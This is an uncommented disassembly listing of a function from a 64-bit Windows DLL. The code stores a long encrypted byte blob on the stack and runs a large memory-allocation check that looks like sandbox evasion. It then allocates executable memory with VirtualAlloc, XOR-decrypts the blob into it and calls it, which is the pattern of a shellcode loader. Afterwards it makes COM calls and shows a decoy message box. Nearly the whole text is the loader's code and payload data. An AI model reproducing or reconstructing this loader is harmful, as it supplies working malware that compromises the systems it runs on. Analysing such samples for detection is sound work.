mov dword [rbp + 0x8f0], 0x9cf30788
mov dword [rbp + 0x8f4], 0xb9615305
mov dword [rbp + 0x8f8], 0x40986e36
mov dword [rbp + 0x8fc], 0x5aa0ae05
mov dword [rbp + 0x900], 0xbc497173
mov dword [rbp + 0x904], 0x6b22ece2
mov dword [rbp + 0x908], 0x4b675528
mov dword [rbp + 0x90c], 0xf860e92e
mov dword [rbp + 0x910], 0x4e6d6eee
mov dword [rbp + 0x914], 0x762d9b43
mov dword [rbp + 0x918], 0x747e397a
mov dword [rbp + 0x91c], 0x935f6724
mov dword [rbp + 0x920], 0xc27a5f8a
mov dword [rbp + 0x924], 0x336b26da
mov dword [rbp + 0x928], 0xa028ae21
mov dword [rbp + 0x92c], 0x47d7d272
mov dword [rbp + 0x930], 0xaf635362
mov dword [rbp + 0x934], 0x5638b920
mov dword [rbp + 0x938], 0x7e22cbee
mov dword [rbp + 0x93c], 0x2306e57c
mov dword [rbp + 0x940], 0x39864160
mov dword [rbp + 0x944], 0x1003ffca
mov dword [rbp + 0x948], 0xd7279b59
mov dword [rbp + 0x94c], 0xd694bb18
mov dword [rbp + 0x950], 0x66c6fa68
mov dword [rbp + 0x954], 0x29434e6d
mov dword [rbp + 0x958], 0xeb49b618
mov dword [rbp + 0x95c], 0xd9e18332
mov dword [rbp + 0x960], 0x125a7caf
mov dword [rbp + 0x964], 0x3e8bf407
mov dword [rbp + 0x968], 0x155336a
mov dword [rbp + 0x96c], 0x5feecfed
mov dword [rbp + 0x970], 0xd82b5f5a
mov dword [rbp + 0x974], 0xbe6e3c17
mov dword [rbp + 0x978], 0xf416107f
mov dword [rbp + 0x97c], 0x1aa7c536
mov dword [rbp + 0x980], 0x92daeeca
mov dword [rbp + 0x984], 0x313ffc3a
mov dword [rbp + 0x988], 0x2364df63
mov dword [rbp + 0x98c], 0xad5695ad
mov dword [rbp + 0x990], 0xf1a9a227
mov dword [rbp + 0x994], 0x36c766b
mov dword [rbp + 0x998], 0x595fa5c6
mov dword [rbp + 0x99c], 0xdebef1
mov dword [rbp + 0x9a0], 0xe9d52628
mov dword [rbp + 0x9a4], 0x83b57316
mov dword [rbp + 0x9a8], 0x7ba9b513
mov dword [rbp + 0x9ac], 0xe2cc8e99
mov dword [rbp + 0x9b0], 0xf5f0f594
mov dword [rbp + 0x9b4], 0xc5941bc9
mov dword [rbp + 0x9b8], 0x55d0dafd
mov dword [rbp + 0x9bc], 0x8f3f3425
mov dword [rbp + 0x9c0], 0x26095199
mov dword [rbp + 0x9c4], 0xa55903ee
mov dword [rbp + 0x9c8], 0xdffac608
mov dword [rbp + 0x9cc], 0xde654325
mov dword [rbp + 0x9d0], 0x64e00de7
mov dword [rbp + 0x9d4], 0xb5683924
mov dword [rbp + 0x9d8], 0x9397c52d
mov dword [rbp + 0x9dc], 0x64f33ffb
mov dword [rbp + 0x9e0], 0x6ee83352
mov dword [rbp + 0x9e4], 0x57aaedd1
mov dword [rbp + 0x9e8], 0x611e4b3e
mov dword [rbp + 0x9ec], 0x78606d2b
mov dword [rbp + 0x9f0], 0x1611427
mov dword [rbp + 0x9f4], 0x9fa00201
mov dword [rbp + 0x9f8], 0x712aad2b
mov dword [rbp + 0x9fc], 0x40ac1d78
mov dword [rbp + 0xa00], 0x1a245e53
mov dword [rbp + 0xa04], 0x2735c9c2
mov dword [rbp + 0xa08], 0x1c4dfa3a
mov dword [rbp + 0xa0c], 0x6b62544b
mov dword [rbp + 0xa10], 0xcf6ba4a3
mov dword [rbp + 0xa14], 0xfa68313b
mov dword [rbp + 0xa18], 0xc5216621
mov dword [rbp + 0xa1c], 0xf3665c02
mov dword [rbp + 0xa20], 0xb4fe36ba
mov dword [rbp + 0xa24], 0x68502628
mov dword [rbp + 0xa28], 0x137f466d
mov dword [rbp + 0xa2c], 0xf2a5d16
mov dword [rbp + 0xa30], 0xc32bf712
mov dword [rbp + 0xa34], 0x2055ac37
mov dword [rbp + 0xa38], 0xaf217767
mov dword [rbp + 0xa3c], 0x55f855ea
mov dword [rbp + 0xa40], 0x95f23425
mov dword [rbp + 0xa44], 0xae098607
mov dword [rbp + 0xa48], 0xb03a6621
mov dword [rbp + 0xa4c], 0x5b6f29a1
mov dword [rbp + 0xa50], 0xd06dbbd5
mov dword [rbp + 0xa54], 0x614a30f1
mov dword [rbp + 0xa58], 0x7e4f3daf
mov dword [rbp + 0xa5c], 0x6399c529
mov dword [rbp + 0xa60], 0xf3bb7795
mov dword [rbp + 0xa64], 0x47118077
mov dword [rbp + 0xa68], 0x94e12a2c
mov dword [rbp + 0xa6c], 0x768f48de
mov dword [rbp + 0xa70], 0xa668f295
mov dword [rbp + 0xa74], 0xb84b498d
mov dword [rbp + 0xa78], 0x4b77d217
mov dword [rbp + 0xa7c], 0xde37ed50
mov dword [rbp + 0xa80], 0x376c750a
mov dword [rbp + 0xa84], 0x184a0f8f
mov dword [rbp + 0xa88], 0xc9aa5359
mov dword [rbp + 0xa8c], 0xe27a346d
mov dword [rbp + 0xa90], 0x23ba5762
mov dword [rbp + 0xa94], 0x4b272aa5
mov dword [rbp + 0xa98], 0x8e6c2ad5
mov dword [rbp + 0xa9c], 0x85ad37a8
mov dword [rbp + 0xaa0], 0xae28284e
mov dword [rbp + 0xaa4], 0x8542fa
mov dword [rbp + 0xaa8], 0xa411cb5d
mov dword [rbp + 0xaac], 0x8d054566
lea rcx, str.667363522
mov dword [rbp + 0xab0], 0xf295332b
mov dword [rbp + 0xab4], 0x502c1e60
mov dword [rbp + 0xab8], 0x4b38e4c
mov dword [rbp + 0xabc], 0x659cac9c
mov dword [rbp + 0xac0], 0x565417fd
mov dword [rbp + 0xac4], 0x8e747dec
mov dword [rbp + 0xac8], 0x2455e57c
mov dword [rbp + 0xacc], 0x6d38c964
mov dword [rbp + 0xad0], 0xdfe33a00
mov dword [rbp + 0xad4], 0x5661fa66
mov dword [rbp + 0xad8], 0x1a69afe3
mov dword [rbp + 0xadc], 0x2ae039e4
mov dword [rbp + 0xae0], 0xe70b6e48
mov dword [rbp + 0xae4], 0x7152525f
mov dword [rbp + 0xae8], 0x7938c4f9
mov byte [rbp + 0xaec], 0x93
call fcn.1800047c0
mov edi, 0x27c7345f
xor ecx, ecx
sub edi, eax
call qword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jns 0x180003343
xor eax, eax
jmp 0x18000354a
mov r14d, 0x5f5e16f
mov ecx, r14d
call qword [sym.imp.ole32.dll_CoTaskMemAlloc]
test rax, rax
je 0x18000333c
mov rbx, r12
mov byte [rbx + rax], bl
inc rbx
cmp rbx, r14
jb 0x18000335a
mov rcx, rax
call qword [sym.imp.ole32.dll_CoTaskMemFree]
cmp rbx, 0x5f5e100
je 0x18000333c
movsxd rdi, edi
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edx, edx
lea rcx, [0x18001dcd0]
lea r8d, [rdx + 0x30]
mov r14, rax
call fcn.180004800
lea rax, [0x180017f80]
mov qword [0x18001dcd0], rsi
mov qword [0x18001dcd8], rax
mov qword [0x18001dce0], 0x42
mov qword [0x18001dce8], 0x1a11
mov qword [0x18001dcf0], 0x17
mov esi, r12d
test rdi, rdi
jle 0x18000342f
lea r15, [rsp + 0x50]
mov rbx, r14
sub r15, r14
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowWindow]
mov eax, 0x3e0f83e1
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x42
mov edx, esi
inc esi
sub edx, eax
mov rax, qword [0x18001dcd8]
movsxd r8, edx
mov dl, byte [r8 + rax]
xor dl, byte [r15 + rbx]
mov byte [rbx], dl
inc rbx
dec rdi
jne 0x1800033ef
lea rcx, [0x18001dcd0]
call r14
cmp qword [0x18001dcf8], r12
jne 0x180003545
xor ecx, ecx
mov sil, r12b
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], r12
call qword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x18000350b
xor edx, edx
lea rax, [rsp + 0x30]
lea r9, [0x180018020]
lea rcx, [0x180018040]
lea r8d, [rdx + 1]
mov sil, 1
mov qword [rsp + 0x20], rax
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x18000350b
lea rcx, [rsp + 0x38]
call fcn.1800010c0
mov rdi, qword [rsp + 0x38]
test eax, eax
js 0x1800034fd
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x40]
call fcn.18000381c
mov rbx, qword [rsp + 0x40]
test eax, eax
js 0x1800034ef
movss xmm3, dword [0x180018134]
mov rax, qword [rdi]
mov r8, rbx
xor edx, edx
mov rcx, rdi
movss dword [rsp + 0x20], xmm3
call qword [rax + 0x1d0]
test eax, eax
js 0x1800034ef
mov rdx, qword [rbx + 0x18]
mov rcx, qword [rsp + 0x30]
call fcn.1800012c4
test rbx, rbx
je 0x1800034fd
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
test rdi, rdi
je 0x18000350b
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x180003520
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rsp + 0x30], r12
test sil, sil
je 0x18000352b
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.WmTAyDBrkoSS
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x18000333c
mov eax, 1
mov rcx, qword [rbp + 0xaf0]
xor rcx, rsp
call fcn.1800047a0
lea r11, [rsp + 0xc00]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret